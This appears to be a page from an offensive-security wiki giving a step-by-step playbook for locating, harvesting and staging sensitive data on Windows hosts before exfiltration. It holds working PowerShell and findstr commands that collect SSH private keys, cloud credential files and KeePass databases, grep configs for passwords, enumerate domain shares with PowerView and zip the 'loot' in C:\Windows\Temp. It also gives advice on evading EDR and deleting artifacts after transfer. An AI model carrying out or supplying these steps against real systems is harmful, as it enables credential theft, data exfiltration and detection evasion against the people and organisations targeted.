# Windows Data Discovery and Staging

> Techniques for identifying, collecting, and staging sensitive Windows data prior to exfiltration, covering file enumeration, compression, and archiving methods.

- **URL:** https://hackindex.io/platforms/windows/data-exfiltration/windows-data-discovery-and-staging
- **Path:** Windows > Data Exfiltration
- **Up:** [Data Exfiltration](https://hackindex.io/platforms/windows/data-exfiltration.md)
- **Published:** 2026-04-04
- **Updated:** 2026-07-14

Before transferring data out of a target environment, identify what is worth taking and stage it efficiently. Broad searches are slow and noisy: focus on high-value locations first, then compress and package before any transfer attempt. Prioritise these locations before running any broad recursive search:

- SSH keys for pivoting to other hosts without a password
- Cloud credential files (.aws, .azure, .gcloud) with wide IAM permissions
- KeePass databases (.kdbx) containing full credential stores
- VPN and RDP configs revealing hosts not visible from your current position

Target these first, then expand to broader file searches.

## High-value file locations

**Known high-value paths**

```powershell
# User desktops and documents
Get-ChildItem C:\Users\*\Desktop\ -Recurse -ErrorAction SilentlyContinue
Get-ChildItem C:\Users\*\Documents\ -Recurse -ErrorAction SilentlyContinue

# SSH keys
Get-ChildItem C:\Users\*\.ssh\ -ErrorAction SilentlyContinue

# AWS and cloud credentials
Get-ChildItem C:\Users\*\.aws\ -ErrorAction SilentlyContinue
Get-ChildItem C:\Users\*\.azure\ -ErrorAction SilentlyContinue
Get-ChildItem C:\Users\*\.gcloud\ -ErrorAction SilentlyContinue

# KeePass databases
Get-ChildItem C:\ -Recurse -Filter *.kdbx -ErrorAction SilentlyContinue

# VPN and remote access configs
Get-ChildItem C:\ -Recurse -Include *.ovpn,*.rdp,*.pcf -ErrorAction SilentlyContinue

# Database files
Get-ChildItem C:\ -Recurse -Include *.mdb,*.accdb,*.sqlite,*.db -ErrorAction SilentlyContinue | Where-Object {$_.Length -gt 0}
```

## Searching file content for credentials

Content-based searches read more files from disk than path-based searches. They are noisier and slower, but they catch credentials stored in unexpected file types. The Select-String output shows the path, line number, and matching line. Check the Line column for the actual credential value rather than just confirming the pattern matched. Recently modified files reveal what was actively written during the engagement window. Use findstr on large directory trees: it runs faster than Get-ChildItem with Select-String on filesystems with many files. If EDR flags file reads, copy the target directory to a temp location and search the copy. Web application config files under C:\inetpub are especially valuable: they routinely contain database connection strings with plaintext credentials.

**Content-based file search**

```powershell
# Search for password strings in common file types
Get-ChildItem C:\Users -Recurse -Include *.txt,*.xml,*.ini,*.ps1,*.bat,*.config,*.json -ErrorAction SilentlyContinue | Select-String -Pattern 'password|passwd|pwd|secret|token|apikey|connectionstring' -CaseSensitive:$false | Select-Object Path, LineNumber, Line

# findstr equivalent (faster on large filesystems)
findstr /s /i /m "password" C:\inetpub\*.config
findstr /s /i /m "connectionString" C:\inetpub\*.config

# Recently modified files (last 7 days)
Get-ChildItem C:\Users -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-7) -and -not $_.PSIsContainer} | Select-Object FullName, LastWriteTime, Length | Sort-Object LastWriteTime -Descending | Select-Object -First 50
```

## ShareFinder: network share enumeration

In domain environments, shares on other hosts often contain scripts, deployment files, and sensitive documents. PowerView's ShareFinder maps all accessible shares across the domain. SYSVOL and NETLOGON are always worth checking manually: Group Policy scripts frequently hardcode credentials and UNC paths to deployment resources. Look for non-default share names such as IT, Backup, Deploy, or Files. Those shares rarely have strict access controls applied. Find-DomainShare connects to every reachable host and generates significant network noise: use it early in an engagement or accept the detection risk. If PowerView is unavailable or blocked, use the manual net view approach for targeted checks against specific hosts.

**Find accessible shares across domain**

```powershell
# PowerView ShareFinder
Find-DomainShare -CheckShareAccess

# Find interesting files on accessible shares
Find-InterestingDomainShareFile -Include *.ps1,*.bat,*.txt,*.config,*.xml

# Manual share check on specific host
net view \\$TARGET_IP /all
Get-ChildItem \\$TARGET_IP\SYSVOL -Recurse -ErrorAction SilentlyContinue
Get-ChildItem \\$TARGET_IP\NETLOGON -Recurse -ErrorAction SilentlyContinue
```

## Staging and compressing

Collect target files into a staging directory, then compress into a single archive. Smaller archives transfer faster and generate fewer network events than many individual file transfers. Use C:\Windows\Temp or C:\ProgramData as staging locations: both are writable by low-privilege users by default. Avoid staging inside user profile directories. Those paths are frequently monitored by EDR and included in backup jobs, which increases the chance of detection and data leakage to backup systems. Check the archive size before starting any transfer. Compress-Archive produces standard ZIP format, which any modern Windows host can open without additional tools installed.

**Stage and compress loot**

```powershell
# Create staging directory
New-Item -Path C:\Windows\Temp\loot -ItemType Directory -Force

# Copy files to staging area
Copy-Item C:\Users\*\Desktop\*.* C:\Windows\Temp\loot\ -ErrorAction SilentlyContinue
Copy-Item C:\Users\*\.ssh\id_rsa C:\Windows\Temp\loot\ -ErrorAction SilentlyContinue
Copy-Item C:\Users\*\.aws\credentials C:\Windows\Temp\loot\ -ErrorAction SilentlyContinue

# Compress staging directory
Compress-Archive -Path C:\Windows\Temp\loot\ -DestinationPath C:\Windows\Temp\loot.zip -Force

# Check archive size
(Get-Item C:\Windows\Temp\loot.zip).Length / 1MB
```

For large archives consider splitting into parts: Compress-Archive does not support split archives natively but 7-Zip does if available on the target. Keep individual transfer sizes under 50MB where possible to reduce the chance of incomplete transfers and connection timeouts. When 7-Zip is not present, transfer files from the staging directory one at a time using your existing exfiltration channel. Delete the staging directory and archive immediately after a successful transfer. File creation events in monitored paths get logged: removing artifacts quickly reduces the detection window. If Compress-Archive is blocked by endpoint controls, certutil -encode produces a base64-encoded copy suitable for text-based exfiltration channels.